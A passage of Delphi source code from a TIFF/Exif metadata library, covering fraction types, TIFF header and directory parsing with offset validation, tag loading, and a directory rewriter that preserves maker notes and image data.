TryStrToInt(Copy(AString, DivSignPos + 1, MaxInt), Denominator) else begin Result := TryStrToInt(AString, Numerator); if Result then Denominator := 1; end; if not Result then PackedValue := 0; end; function TTiffLongIntFraction.AsString: string; begin if MissingOrInvalid then Result := '' else if Denominator = 1 then Result := IntToStr(Numerator) else FmtStr(Result, '%d/%d', [Numerator, Denominator]); end; function TTiffLongIntFraction.MissingOrInvalid: Boolean; begin Result := (Denominator = 0); end; function TTiffLongIntFraction.Quotient: Extended; begin if MissingOrInvalid then Result := 0 else Result := Numerator / Denominator end; function TryStrToLongWord(const S: string; var Value: LongWord): Boolean; var Int64Value: Int64; begin Result := TryStrToInt64(S, Int64Value) and (Int64Value >= 0) and (Int64Value <= High(Value)); if Result then Value := LongWord(Int64Value); end; constructor TTiffLongWordFraction.Create(ANumerator: LongWord; ADenominator: LongWord); begin Numerator := ANumerator; Denominator := ADenominator; end; constructor TTiffLongWordFraction.Create(const AQuotient: Currency); var N, D: Int64; begin CurrencyToFraction(AQuotient, N, D); {$RANGECHECKS ON} Numerator := N; Denominator := D; {$IFDEF RangeCheckingOff}{$RANGECHECKS OFF}{$ENDIF} end; constructor TTiffLongWordFraction.CreateFromString(const AString: string); var DivSignPos: Integer; Result: Boolean; begin DivSignPos := Pos('/', AString); if DivSignPos <> 0 then Result := TryStrToLongWord(Copy(AString, 1, DivSignPos - 1), Numerator) and TryStrToLongWord(Copy(AString, DivSignPos + 1, MaxInt), Denominator) else begin Result := TryStrToLongWord(AString, Numerator); if Result then Denominator := 1; end; if not Result then PackedValue := 0; end; function TTiffLongWordFraction.AsString: string; begin if MissingOrInvalid then Result := '' else if Denominator = 1 then Result := IntToStr(Numerator) else FmtStr(Result, '%d/%d', [Numerator, Denominator]); end; function TTiffLongWordFraction.MissingOrInvalid: Boolean; begin Result := (Denominator = 0); end; function TTiffLongWordFraction.Quotient: Extended; begin if MissingOrInvalid then Result := 0 else Result := Numerator / Denominator end; { TIFF parsing routines } function HasTiffHeader(Stream: TStream; var Endianness: TEndianness; MoveOnSuccess: Boolean = False): Boolean; overload; var Buffer: array[0..1] of Word; BytesRead: Integer; begin Result := False; BytesRead := Stream.Read(Buffer, SizeOf(Buffer)); if BytesRead = SizeOf(Buffer) then case Buffer[0] of TiffSmallEndianCode, TiffBigEndianCode: //accept small endian marker when meant big endian and vice versa case Buffer[1] of TiffMagicNum: begin Endianness := SmallEndian; Result := True; end; TiffMagicNumBigEndian: begin Endianness := BigEndian; Result := True; end; end; end; if not Result or not MoveOnSuccess then Stream.Seek(-BytesRead, soCurrent); end; function HasTiffHeader(Stream: TStream; MoveOnSuccess: Boolean = False): Boolean; overload; var Endianness: TEndianness; begin Result := HasTiffHeader(Stream, Endianness, MoveOnSuccess) end; { LoadTiffDirectory - sanity checking: - We check the reported tag count is theoretically possible up front. - Data offsets are validated. - Two bad tag headers in a row, and any further parsing is aborted. - General aim is to avoid an exception being raised. This is because it becomes annoying in general use otherwise, Exif data in the wild frequently being badly formed in some fashion... } function LoadTiffDirectory(Stream: TStream; Endianness: TEndianness; const BasePosition, Offset, InternalOffset: Int64; out LoadErrors: TMetadataLoadErrors): TTiffTagInfoDynArray; overload; var I, TagCount: Integer; MaxTagCount, StartPos, StreamSize, Offset64: Int64; begin LoadErrors := []; Result := nil; StartPos := BasePosition + Offset; StreamSize := Stream.Seek(0, soEnd); if (StartPos < 0) or (StartPos + 2 > StreamSize) then begin LoadErrors := [leBadOffset]; Exit; end; MaxTagCount := (StreamSize - StartPos - 2) div TTiffTag.HeaderSize; Stream.Position := StartPos; TagCount := Stream.ReadWord(Endianness); if TagCount > MaxTagCount then begin TagCount := MaxTagCount; Include(LoadErrors, leBadTagCount); end; SetLength(Result, TagCount); for I := 0 to TagCount - 1 do begin Result[I].HeaderOffset := Stream.Position - BasePosition; Result[I].ID := Stream.ReadWord(Endianness); Word(Result[I].DataType) := Stream.ReadWord(Endianness); Result[I].ElementCount := Stream.ReadLongInt(Endianness); if Result[I].DataSize > 4 then //DataSize will validate DataType for us begin Offset64 := Stream.ReadLongWord(Endianness) + InternalOffset; if (Offset64 < 8) or (Offset64 + BasePosition < 0) or (Offset64 + Result[I].DataSize + BasePosition > StreamSize) then Result[I].ElementCount := -1 else Result[I].DataOffset := Offset64; end else begin Result[I].DataOffset := Result[I].HeaderOffset + 8; Stream.Seek(4, soCurrent); end; if not Result[I].IsWellFormed then if (I = 0) or Result[I - 1].IsWellFormed then begin Include(LoadErrors, leBadTagHeader); if (I = 0) and (leBadTagCount in LoadErrors) then begin Result := nil; Exit; end; end else begin Include(LoadErrors, leBadTagCount); SetLength(Result, I); Exit; end; end; end; function LoadTiffDirectory(const Parser: ITiffParser; const Offset: Int64; out LoadErrors: TMetadataLoadErrors): TTiffTagInfoDynArray; overload; inline; begin Result := LoadTiffDirectory(Parser.Stream, Parser.Endianness, Parser.BasePosition, Offset, 0, LoadErrors); end; function InitLoadOffsetArray(DataType: TTiffDataType; ElementCount: LongInt; out ArrayResult: TLongWordDynArray): Boolean; inline; begin Assert((ElementCount >= 0) and (DataType in TTiffTag.OffsetDataTypes)); SetLength(ArrayResult, ElementCount); Result := (ArrayResult <> nil); end; function LoadOffsetArray(const Source: ITiffParser; const TagInfo: TTiffTagInfo): TLongWordDynArray; overload; var WordArray: TWordDynArray; I: Integer; begin if not InitLoadOffsetArray(TagInfo.DataType, TagInfo.ElementCount, Result) then Exit; if TagInfo.DataType = tdWord then begin SetLength(WordArray, TagInfo.ElementCount); Source.LoadTagData(TagInfo, WordArray[0]); for I := 0 to TagInfo.ElementCount - 1 do Result[I] := WordArray[I]; end else Source.LoadTagData(TagInfo, Result[0]); end; function LoadOffsetArray(const Tag: ITiffTag): TLongWordDynArray; overload; var DataPtr: PWordArray; I: LongInt; begin if not InitLoadOffsetArray(Tag.DataType, Tag.ElementCount, Result) then Exit; DataPtr := Tag.Data.Memory; if Tag.DataType = tdWord then for I := 0 to High(Result) do Result[I] := DataPtr[I] else Move(DataPtr[0], Result[0], Length(Result) * 4); end; function SeekToExifThumbnail(const Parser: ITiffParser; const OffsetTag: TTiffTagInfo): Boolean; begin Result := False; if not (OffsetTag.DataType in TTiffTag.OffsetDataTypes) or (OffsetTag.ElementCount <> 1) then Exit; Parser.Stream.Position := Parser.BasePosition + LoadOffsetArray(Parser, OffsetTag)[0]; if HasJPEGHeader(Parser.Stream) then Result := True; end; procedure WriteTiffTagData(DataType: TTiffDataType; ElementCount: Longint; DataPtr: Pointer; Dest: TStream; Endianness: TEndianness); var I, DataSize: Integer; begin DataSize := TiffElementSizes[DataType] * ElementCount; if DataType = tdDouble then for I := 0 to ElementCount - 1 do Dest.WriteDouble(PDoubleArray(DataPtr)[I], Endianness) else case TiffElementSizes[DataType] of 1: Dest.WriteBuffer(DataPtr^, ElementCount); 2: for I := 0 to ElementCount - 1 do Dest.WriteWord(PWordArray(DataPtr)[I], Endianness); else for I := 0 to DataSize div 4 - 1 do Dest.WriteLongWord(PLongWordArray(DataPtr)[I], Endianness) end; for I := 3 downto DataSize do Dest.WriteByte(0); end; { TFoundTiffTag } constructor TFoundTiffTag.Create(AParent: TFoundTiffDirectory; AIndex: Integer); begin Assert((AParent <> nil) and (AIndex >= 0)); inherited Create; FParent := AParent; FParentIntf := AParent; FSourcePtr := @AParent.TagInfo[AIndex]; Data.SetSize(FSourcePtr.DataSize); AParent.Parser.LoadTagData(FSourcePtr^, Data.Memory^); Data.DisableChanges := True; end; constructor TFoundTiffTag.Create(AID: TTiffTagID; ADataType: TTiffDataType; const ADataSource: IStreamPersist); begin inherited Create; New(FSourcePtr); FSourcePtr.ID := AID; FSourcePtr.DataType := ADataType; if ADataSource <> nil then begin ADataSource.SaveToStream(Data); FSourcePtr.ElementCount := LongInt(Data.Size div TiffElementSizes[ADataType]); end else begin FSourcePtr.ElementCount := 1; Data.Size := TiffElementSizes[ADataType]; FillChar(Data.Memory^, TiffElementSizes[ADataType], 0); end; end; destructor TFoundTiffTag.Destroy; begin if (FParent = nil) and (FSourcePtr <> nil) then Dispose(FSourcePtr); inherited; end; function TFoundTiffTag.GetDataType: TTiffDataType; begin Result := FSourcePtr.DataType; end; function TFoundTiffTag.GetElementCount: LongInt; begin Result := FSourcePtr.ElementCount; end; function TFoundTiffTag.GetID: TTiffTagID; begin Result := FSourcePtr.ID; end; function TFoundTiffTag.GetOriginalDataOffset: LongWord; begin Result := FSourcePtr.DataOffset; end; function TFoundTiffTag.HasIPTCBlockID: Boolean; begin Result := (FSourcePtr.ID = ttIPTC); end; function TFoundTiffTag.HasXMPBlockID: Boolean; begin Result := (FSourcePtr.ID = ttXMP); end; function TFoundTiffTag.GetParent: ITiffDirectory; begin Result := FParentIntf; end; { TFoundTiffDirectoryEnumerator } constructor TFoundTiffDirectoryEnumerator.Create(Source: TFoundTiffDirectory); begin FCurrentIndex := -1; FSource := Source; end; function TFoundTiffDirectoryEnumerator.GetCurrent: ITiffTag; begin Result := TFoundTiffTag.Create(FSource, FCurrentIndex); end; function TFoundTiffDirectoryEnumerator.MoveNext: Boolean; begin Result := (FCurrentIndex < High(FSource.TagInfo)); if Result then Inc(FCurrentIndex); end; { TFoundTiffDirectory } constructor TFoundTiffDirectory.Create(const AParser: ITiffParser; const AParent: ITiffDirectory; AIndex: Integer; const AOffset: Int64; const AInternalOffset: Int64 = 0); begin inherited Create; FTags := LoadTiffDirectory(AParser.Stream, AParser.Endianness, AParser.BasePosition, AOffset, AInternalOffset, FLoadErrors); FIndex := AIndex; FParser := AParser; FParent := AParent; end; constructor TFoundTiffDirectory.Create(const AParser: ITiffParser; const AParent: ITiffDirectory; AIndex: Integer; const Tags: TTiffTagInfoDynArray; const LoadErrors: TMetadataLoadErrors); begin inherited Create; FLoadErrors := LoadErrors; FTags := Tags; FIndex := AIndex; FParser := AParser; FParent := AParent; end; class function TFoundTiffDirectory.TryCreate(const AParser: ITiffParser; const AParent: ITiffDirectory; AIndex: Integer; const AOffset: Int64; out Instance: IFoundTiffDirectory): Boolean; var Tags: TTiffTagInfoDynArray; LoadErrors: TMetadataLoadErrors; begin Tags := LoadTiffDirectory(AParser.Stream, AParser.Endianness, AParser.BasePosition, AOffset, 0, LoadErrors); Result := (LoadErrors = []) or (Length(Tags) > 2); if Result then Instance := TFoundTiffDirectory.Create(AParser, AParent, AIndex, Tags, LoadErrors); end; function TFoundTiffDirectory.GetEnumerator: ITiffDirectoryEnumerator; begin Result := TFoundTiffDirectoryEnumerator.Create(Self); end; function TFoundTiffDirectory.GetIndex: Integer; begin Result := FIndex; end; function TFoundTiffDirectory.GetLoadErrors: TMetadataLoadErrors; begin Result := FLoadErrors; end; function TFoundTiffDirectory.GetParent: ITiffDirectory; begin Result := FParent; end; function TFoundTiffDirectory.GetParser: ITiffParser; begin Result := FParser; end; function TFoundTiffDirectory.LoadSubDirectory(OffsetTagID: TTiffTagID): ITiffDirectory; var ParsedDir: IFoundTiffDirectory; TagIndex: Integer; begin if FindTag(OffsetTagID, TagIndex) and FParser.ParseSubDirectory(Self, FTags[TagIndex], ParsedDir) then Result := ParsedDir else raise EInvalidTiffData.CreateRes(@SInvalidOffsetTag); end; function TFoundTiffDirectory.GetTagCount: Integer; begin Result := Length(FTags); end; function TFoundTiffDirectory.GetTagInfo: TTiffTagInfoDynArray; begin Result := FTags; end; function TFoundTiffDirectory.IndexOfTag(TagID: TTiffTagID): Integer; begin for Result := 0 to High(FTags) do if FTags[Result].ID > TagID then Break else if FTags[Result].ID = TagID then Exit; Result := -1; end; function TFoundTiffDirectory.FindTag(TagID: TTiffTagID; out Index: Integer): Boolean; var I: Integer; begin for I := 0 to High(FTags) do if FTags[I].ID >= TagID then begin Index := I; Result := (FTags[I].ID = TagID); Exit; end; Index := Length(FTags); Result := False; end; function TFoundTiffDirectory.FindTag(TagID: TTiffTagID; out ParsedTag: ITiffTag): Boolean; var Index: Integer; begin Result := FindTag(TagID, Index); if Result then ParsedTag := TFoundTiffTag.Create(Self, Index); end; function TFoundTiffDirectory.IsExifThumbailDirectory: Boolean; begin Result := (FIndex = 1) and IsLastDirectoryInFile and TagExists(ttThumbnailOffset, TTiffTag.OffsetDataTypes, 1, 1) and not TagExists(ttStripOffsets) and not TagExists(ttTileOffsets); end; function TFoundTiffDirectory.IsLastDirectoryInFile: Boolean; begin Result := not FMoreToFollow; end; function TFoundTiffDirectory.TagExists(TagID: TTiffTagID; ValidDataTypes: TTiffDataTypes; MinElementCount, MaxElementCount: LongInt): Boolean; var Index: Integer; begin Result := FindTag(TagID, Index) and (FTags[Index].DataType in ValidDataTypes) and (FTags[Index].ElementCount >= MinElementCount) and (FTags[Index].ElementCount <= MaxElementCount); end; function TFoundTiffDirectory.TryLoadExifThumbnail(Dest: TStream): Boolean; var Index: Integer; begin Result := FindTag(ttThumbnailOffset, Index) and SeekToExifThumbnail(FParser, FTags[Index]); if Result then Dest.CopyFrom(FParser.Stream, GetJPEGDataSize(FParser.Stream)); end; function TFoundTiffDirectory.TryLoadExifThumbnail(const Dest: IStreamPersist): Boolean; var Index: Integer; begin Result := FindTag(ttThumbnailOffset, Index) and SeekToExifThumbnail(FParser, FTags[Index]); if Result then Result := TryLoadJpegImageFromStream(Dest, FParser.Stream); end; { TTiffParserEnumerator } constructor TTiffParserEnumerator.Create(const ASource: ITiffParser; const AMaxPossibleOffset: Int64; const ANextOffset: LongInt); begin FSource := ASource; FMaxPossibleOffset := AMaxPossibleOffset; FNextIndex := 0; FNextOffset := ANextOffset; end; function TTiffParserEnumerator.MoveNext: Boolean; var NewDir: TFoundTiffDirectory; begin Result := (FNextOffset <> 0); if not Result then Exit; NewDir := TFoundTiffDirectory.Create(FSource, nil, FNextIndex, FNextOffset); NewDir.FMoreToFollow := FSource.Stream.ReadLongInt(FSource.Endianness, FNextOffset) and (FNextOffset <> 0) and (FNextOffset <= FMaxPossibleOffset); if NewDir.FMoreToFollow then Inc(FNextIndex) else FNextOffset := 0; FCurrent := NewDir; end; { TTiffParser } constructor TTiffParser.Create(AStream: TStream; AStreamOwnership: TStreamOwnership); begin inherited Create; FBasePosition := AStream.Position; FStream := AStream; FStreamOwnership := AStreamOwnership; if not HasTiffHeader(AStream, FEndianness, True) or not AStream.ReadLongInt(FEndianness, FFirstDirOffset) then raise EInvalidTiffData.CreateRes(@SInvalidTiffData); FMaxOffsetValue := AStream.Size - FBasePosition - 4; //4 is the minimum size of an IFD (word-sized tag count + word-sized next IFD offset) end; constructor TTiffParser.Create(AStream: TStream; const ABasePosition: Int64; AEndianness: TEndianness); begin inherited Create; FBasePosition := ABasePosition; FEndianness := AEndianness; FFirstDirOffset := 0; FStream := AStream; FStreamOwnership := soReference; FMaxOffsetValue := AStream.Size - FBasePosition - 4; //4 is the minimum size of an IFD (word-sized tag count + word-sized next IFD offset) end; destructor TTiffParser.Destroy; begin if FStreamOwnership = soOwned then FreeAndNil(FStream); inherited; end; function TTiffParser.GetBasePosition: Int64; begin Result := FBasePosition; end; function TTiffParser.GetEndianness: TEndianness; begin Result := FEndianness; end; function TTiffParser.GetEnumerator: TTiffParserEnumerator; begin Result := TTiffParserEnumerator.Create(Self, FMaxOffsetValue, FFirstDirOffset); end; function TTiffParser.GetStream: TStream; begin Result := FStream; end; procedure TTiffParser.LoadTagData(const TagInfo: TTiffTagInfo; var Buffer); var Size: Integer; I: Integer; begin Size := TagInfo.DataSize; if Size = 0 then Exit; Stream.Position := BasePosition + TagInfo.DataOffset; case TiffElementSizes[TagInfo.DataType] of 1: Stream.ReadBuffer(Buffer, Size); 2: for I := 0 to TagInfo.ElementCount - 1 do PWordArray(@Buffer)[I] := Stream.ReadWord(Endianness); else if TagInfo.DataType = tdDouble then for I := 0 to TagInfo.ElementCount - 1 do PDoubleArray(@Buffer)[I] := Stream.ReadDouble(Endianness) else for I := 0 to (Size div 4) - 1 do PLongWordArray(@Buffer)[I] := Stream.ReadLongWord(Endianness); end; end; function PossibleSubIFDOffset(ID: TTiffTagID; DataType: TTiffDataType; ElementCount: LongInt): Boolean; begin Result := False; if ElementCount = 1 then case DataType of tdSubDirectory: Result := True; tdLongWord: case ID of ttImageWidth, ttImageHeight, ttStripOffsets, ttStripByteCounts, ttTileOffsets, ttTileByteCounts, ttThumbnailOffset, ttThumbnailSize, ttExifImageWidth, ttExifImageHeight: {nope}; else Result := True; end; end; end; function TTiffParser.ParseSubDirectory(const OffsetTag: ITiffTag; out Directory: IFoundTiffDirectory): Boolean; begin Result := PossibleSubIFDOffset(OffsetTag.ID, OffsetTag.DataType, OffsetTag.ElementCount) and TFoundTiffDirectory.TryCreate(Self, OffsetTag.Parent, OffsetTag.ID, LoadOffsetArray(OffsetTag)[0], Directory); end; function TTiffParser.ParseSubDirectory(const Parent: ITiffDirectory; const OffsetTag: TTiffTagInfo; out Directory: IFoundTiffDirectory): Boolean; begin Result := PossibleSubIFDOffset(OffsetTag.ID, OffsetTag.DataType, OffsetTag.ElementCount) and TFoundTiffDirectory.TryCreate(Self, Parent, OffsetTag.ID, LoadOffsetArray(Self, OffsetTag)[0], Directory); end; { TTiffDirectoryRewriter.TTagToWrite } constructor TTiffDirectoryRewriter.TTagToWrite.Create(AParent: TTiffDirectoryRewriter; const AInfo: TTiffTagInfo); begin inherited Create; FInfo := AInfo; FParent := AParent; end; constructor TTiffDirectoryRewriter.TTagToWrite.Create(AParent: TTiffDirectoryRewriter; AID: TTiffTagID; ADataType: TTiffDataType; AElementCount: LongInt; AOriginalDataOffset: LongWord = 0); begin inherited Create; FInfo.DataOffset := AOriginalDataOffset; FInfo.ID := AID; FInfo.DataType := ADataType; FInfo.ElementCount := AElementCount; FParent := AParent; end; function TTiffDirectoryRewriter.TTagToWrite.DataSize: Integer; begin Result := FInfo.DataSize; end; { TInternaTiffTagToWrite } constructor TInternaTiffTagToWrite.Create(AParent: TTiffDirectoryRewriter; const AParser: ITiffParser; const ATagInfo: TTiffTagInfo); procedure LoadImageInfo(OffsetID: TTiffTagID); var BadOffset, Item: LongWord; Offsets: TLongWordDynArray; OffsetTag: TTiffDirectoryRewriter.TTagToWrite; begin //the byte counts tag should always come after the offsets one if AParent.HasImageData then Exit; if not AParent.FindTagToWrite(OffsetID, OffsetTag) or not (OffsetTag is TInternaTiffTagToWrite) then Exit; if (OffsetTag.ElementCount <> ATagInfo.ElementCount) or not (OffsetTag.DataType in TTiffTag.OffsetDataTypes) or not (ATagInfo.DataType in [tdWord, tdLongWord, tdLongInt]) then Exit; BadOffset := LongWord(AParser.Stream.Size - AParser.BasePosition); Offsets := LoadOffsetArray(AParser, OffsetTag.Info); for Item in Offsets do if (Item < 8) or (Item >= BadOffset) then Exit; AParent.InitializeImageInfo(Offsets, LoadOffsetArray(AParser, ATagInfo)); TInternaTiffTagToWrite(OffsetTag).Kind := itImageOffsets; Self.Kind := itImageByteCounts; end; begin inherited Create(AParent, ATagInfo); FParser := AParser; case ID of ttStripByteCounts: LoadImageInfo(ttStripOffsets); ttTileByteCounts: LoadImageInfo(ttTileOffsets); ttThumbnailSize: LoadImageInfo(ttThumbnailOffset); end; end; procedure TInternaTiffTagToWrite.WriteData(Stream: TStream; Endianness: TEndianness); var Data: TLongWordDynArray; I: Integer; begin inherited; case Kind of itImageOffsets: for I := 0 to High(Parent.ImageInfo) do Stream.WriteLongWord(Parent.ImageInfo[I].NewOffset, Endianness); itImageByteCounts: for I := 0 to High(Parent.ImageInfo) do Stream.WriteLongWord(Parent.ImageInfo[I].ByteCount, Endianness); else SetLength(Data, (Info.DataSize + 3) div 4); if Data = nil then Exit; FParser.LoadTagData(Info, Data[0]); WriteTiffTagData(DataType, ElementCount, Data, Stream, Endianness); end; end; { TExternalTiffTagToWrite } constructor TExternalTiffTagToWrite.Create(AOwner: TTiffDirectoryRewriter; const ATag: ITiffTag); begin inherited Create(AOwner, ATag.ID, ATag.DataType, ATag.ElementCount, ATag.OldDataOffset); FTag := ATag; end; constructor TExternalTiffTagToWrite.Create(AOwner: TTiffDirectoryRewriter; AID: TTiffTagID; ADataType: TTiffDataType; const ADataSource: IStreamPersist); begin Create(AOwner, TFoundTiffTag.Create(AID, ADataType, ADataSource)); end; procedure TExternalTiffTagToWrite.WriteData(Stream: TStream; Endianness: TEndianness); var ElemCount: Integer; begin inherited; ElemCount := Min(ElementCount, FTag.Data.Size div TiffElementSizes[DataType]); WriteTiffTagData(DataType, ElemCount, FTag.Data.Memory, Stream, Endianness); end; { TTiffSubDirToWrite } constructor TTiffSubDirToWrite.Create(AOwner: TTiffDirectoryRewriter; AOffsetID: TTiffTagID; ADirectory: TTiffDirectoryRewriter); begin inherited Create(AOwner, AOffsetID, tdLongWord, 1); FDirectory := ADirectory; end; destructor TTiffSubDirToWrite.Destroy; begin FDirectory.Free; inherited; end; procedure TTiffSubDirToWrite.WriteData(Stream: TStream; Endianness: TEndianness); begin Stream.WriteLongWord(Directory.NewIFDOffset, Endianness); end; { TTiffDirectoryRewriter } constructor TTiffDirectoryRewriter.Create(const Source: ITiffDirectory; const Callback: ITiffRewriteCallback); function RewriteOldTag(TagID: TTiffTagID; DataType: TTiffDataType; ElementCount: LongInt; out Index: Integer): Boolean; begin Result := TTiffTag.IsWellFormed(DataType, ElementCount) and not FindTagIndex(TagID, Index); if Result and (Callback <> nil) then Callback.RewritingOldTag(Source, TagID, DataType, Result); end; var ExtTag: ITiffTag; I, TagIndex: Integer; IntDirectory: IFoundTiffDirectory; SubDir: IFoundTiffDirectory; SubRewriter: TTiffDirectoryRewriter; TagPtr: PTiffTagInfo; begin inherited Create; FSource := Source; FTagsToWrite := TObjectList.Create(True); FRewriteSource := True; if Callback <> nil then Callback.AddNewTags(Self); FDoneInitialization := True; if not FRewriteSource or (Source = nil) then Exit; if Supports(Source, IFoundTiffDirectory, IntDirectory) then begin FSourceInfo := IntDirectory.TagInfo; FSourceParser := IntDirectory.Parser; TagPtr := PTiffTagInfo(FSourceInfo); for I := 0 to High(FSourceInfo) do begin if RewriteOldTag(TagPtr.ID, TagPtr.DataType, TagPtr.ElementCount, TagIndex) then if not FSourceParser.ParseSubDirectory(Source, TagPtr^, SubDir) then FTagsToWrite.Insert(TagIndex, TInternaTiffTagToWrite.Create(Self, FSourceParser, TagPtr^)) else begin SubRewriter := TTiffDirectoryRewriter.Create(SubDir, Callback); if SubRewriter.RewriteSource then FTagsToWrite.Insert(TagIndex, TTiffSubDirToWrite.Create(Self, TagPtr.ID, SubRewriter)) else SubRewriter.Free; end; Inc(TagPtr); end; end else for ExtTag in Source do if RewriteOldTag(ExtTag.ID, ExtTag.DataType, ExtTag.ElementCount, TagIndex) then FTagsToWrite.Insert(TagIndex, TExternalTiffTagToWrite.Create(Self, ExtTag)); end; destructor TTiffDirectoryRewriter.Destroy; begin FTagsToWrite.Free; inherited; end; procedure TTiffDirectoryRewriter.AddTag(Tag: TTagToWrite); var Index: Integer; begin if FDoneInitialization then raise EInvalidOperation.Create('Tags can only be added during AddTagsToWrite'); if not FindTagIndex(Tag.ID, Index) then FTagsToWrite.Insert(Index, Tag) else begin Index := Tag.ID; Tag.Free; raise ETagAlreadyExists.CreateResFmt(@STagAlreadyExists, [Index]); end; end; procedure TTiffDirectoryRewriter.AddTag(const Source: ITiffTag); begin AddTag(TExternalTiffTagToWrite.Create(Self, Source)); end; procedure TTiffDirectoryRewriter.AddTag(ID: TTiffTagID; const DataSource: IStreamPersist; DataType: TTiffDataType = tdUndefined); begin AddTag(TExternalTiffTagToWrite.Create(Self, ID, DataType, DataSource)); end; procedure TTiffDirectoryRewriter.AddSubDirectory(OffsetID: TTiffTagID; const SubDirectory: ITiffDirectory; const Callback: ITiffRewriteCallback = nil); var Rewriter: TTiffDirectoryRewriter; begin Rewriter := TTiffDirectoryRewriter.Create(SubDirectory, Callback); if Rewriter.RewriteSource then AddTag(TTiffSubDirToWrite.Create(Self, OffsetID, Rewriter)) else Rewriter.Free; end; function TTiffDirectoryRewriter.FindTagIndex(AID: TTiffTagID; out Index: Integer): Boolean; var ExistingID: TTiffTagID; I: Integer; begin for I := FTagsToWrite.Count - 1 downto 0 do begin ExistingID := TTagToWrite(FTagsToWrite.List[I]).ID; if AID > ExistingID then begin Index := I + 1; Result := False; Exit; end; if AID = ExistingID then begin Index := I; Result := True; Exit; end; end; Index := 0; Result := False; end; function TTiffDirectoryRewriter.FindTagToWrite(ID: TTiffTagID; var Tag: TTagToWrite): Boolean; var Index: Integer; begin Result := FindTagIndex(ID, Index); if Result then Tag := FTagsToWrite.List[Index]; end; function TTiffDirectoryRewriter.GetTag(Index: Integer): TTagToWrite; begin Result := FTagsToWrite[Index]; end; function TTiffDirectoryRewriter.GetTagCount: Integer; begin Result := FTagsToWrite.Count; end; procedure TTiffDirectoryRewriter.IgnoreDirectory; begin FRewriteSource := False; end; function TTiffDirectoryRewriter.HasImageData: Boolean; begin Result := FImageInfo <> nil; end; function TTiffDirectoryRewriter.ProtectMakerNote(var MakerNoteTag: TTagToWrite): Boolean; var SubDir: TTiffDirectoryRewriter; Index: Integer; OffsetValue: LongInt; RevisedOffset: Int64; Tag: TTagToWrite; begin Result := False; if not FindTagToWrite(ttExifOffset, Tag) or not (Tag is TTiffSubDirToWrite) then Exit; SubDir := TTiffSubDirToWrite(Tag).Directory; if not SubDir.FindTagToWrite(ttMakerNote, Tag) or (Tag.DataType <> tdUndefined) or (Tag.ElementCount <= 4) or (Tag.OldDataOffset < 8) then Exit; Tag.NewDataOffset := Tag.OldDataOffset; MakerNoteTag := Tag; Result := True; if SubDir.FindTagIndex(ttOffsetSchema, Index) then //Aim to move the maker note back begin //if an MS application such as the Tag := SubDir.FTagsToWrite.List[Index]; //Windows shell has moved it. if (Tag.DataType = tdLongInt) and (Tag.ElementCount = 1) then begin if Tag is TExternalTiffTagToWrite then OffsetValue := PLongInt(TExternalTiffTagToWrite(Tag).Source.Data.Memory)^ else if Tag is TInternaTiffTagToWrite then TInternaTiffTagToWrite(Tag).Parser.LoadTagData(Tag.Info, OffsetValue) else Exit; RevisedOffset := Int64(MakerNoteTag.OldDataOffset) + OffsetValue; if not InRange(RevisedOffset, 8, $FFFFFFF0) then Exit; MakerNoteTag.NewDataOffset := LongWord(RevisedOffset); SubDir.FTagsToWrite.Delete(Index); end; end; end; procedure TTiffDirectoryRewriter.InitializeImageInfo(const Offsets, ByteCounts: array of LongWord); var I: Integer; begin Assert((FSourceParser <> nil) and (Length(Offsets) = Length(ByteCounts))); SetLength(FImageInfo, Length(Offsets)); for I := High(FImageInfo) downto 0 do with FImageInfo[I] do begin ByteCount := ByteCounts[I]; OldOffset := Offsets[I]; end; end; procedure TTiffDirectoryRewriter.InitializeNewOffsets(var NextOffset: LongWord; ProtectedTag: TTagToWrite); var ProtectedTagToCome: Boolean; function FixupNextOffset(const DataSize: LongWord): LongWord; begin if ProtectedTagToCome and (NextOffset + DataSize >= ProtectedTag.NewDataOffset) then begin NextOffset := ProtectedTag.NewDataOffset + LongWord(ProtectedTag.ElementCount); ProtectedTagToCome := False; end; Result := NextOffset; Inc(NextOffset, DataSize); end; var I: Integer; Tag: TTagToWrite; begin ProtectedTagToCome := (ProtectedTag <> nil) and (NextOffset < ProtectedTag.NewDataOffset + LongWord(ProtectedTag.ElementCount)); FNewIFDOffset := FixupNextOffset(2 + TTiffTag.HeaderSize * FTagsToWrite.Count + 4); for I := 0 to FTagsToWrite.Count - 1 do begin Tag := FTagsToWrite.List[I]; if Tag = ProtectedTag then Continue; //assume its NewDataOffset property has already been set if Tag.DataSize > 4 then Tag.NewDataOffset := FixupNextOffset(Tag.DataSize) else begin Tag.NewDataOffset := FNewIFDOffset + LongWord(2 + I * TTiffTag.HeaderSize + 8); if Tag is TTiffSubDirToWrite then TTiffSubDirToWrite(Tag).Directory.InitializeNewOffsets(NextOffset, ProtectedTag); end; end; for I := 0 to High(FImageInfo) do FImageInfo[I].NewOffset := FixupNextOffset(FImageInfo[I].ByteCount); end; procedure TTiffDirectoryRewriter.Write(AStream: TStream; const ABasePosition: Int64; AEndianness: TEndianness; ANextIFDOffset: LongWord); var Buffer: TBytes; I: Integer; Tag: TTagToWrite; begin //write the IFD AStream.Seek(ABasePosition + NewIFDOffset, soBeginning); AStream.WriteWord(FTagsToWrite.Count, AEndianness); for I := 0 to FTagsToWrite.Count - 1 do begin Tag := FTagsToWrite.List[I]; AStream.WriteWord(Tag.ID, AEndianness); AStream.WriteWord(Ord(Tag.DataType), AEndianness); AStream.WriteLongInt(Tag.ElementCount, AEndianness); if Tag.DataSize <= 4 then Tag.WriteData(AStream, AEndianness) else AStream.WriteLongWord(Tag.NewDataOffset, AEndianness); end; AStream.WriteLongWord(ANextIFDOffset, AEndianness); //write any offsetted tag data and sub-directories for I := 0 to FTagsToWrite.Count - 1 do begin Tag := FTagsToWrite.List[I]; if Tag.DataSize > 4 then begin AStream.Seek(ABasePosition + Tag.NewDataOffset, soBeginning); Tag.WriteData(AStream, AEndianness); end else if Tag is TTiffSubDirToWrite then TTiffSubDirToWrite(Tag).Directory.Write(AStream, ABasePosition, AEndianness, 0); end; //write image data for I := 0 to High(FImageInfo) do begin if FImageInfo[I].ByteCount <= 0 then Continue; if FImageInfo[I].ByteCount > Length(Buffer) then SetLength(Buffer, FImageInfo[I].ByteCount); with FSourceParser do begin Stream.Position := BasePosition + FImageInfo[I].OldOffset; Stream.ReadBuffer(Buffer[0], FImageInfo[I].ByteCount); end; AStream.Seek(ABasePosition + FImageInfo[I].NewOffset, soBeginning); AStream.WriteBuffer(Buffer[0], FImageInfo[I].ByteCount); end; end; { TSimpleTiffRewriteCallbackImpl } constructor TSimpleTiffRewriteCallbackImpl.Create(const AOwner: IStreamPersistEx; AMetadataTagID: TTiffTagID); begin inherited Create(AOwner); FMetadataTagID := 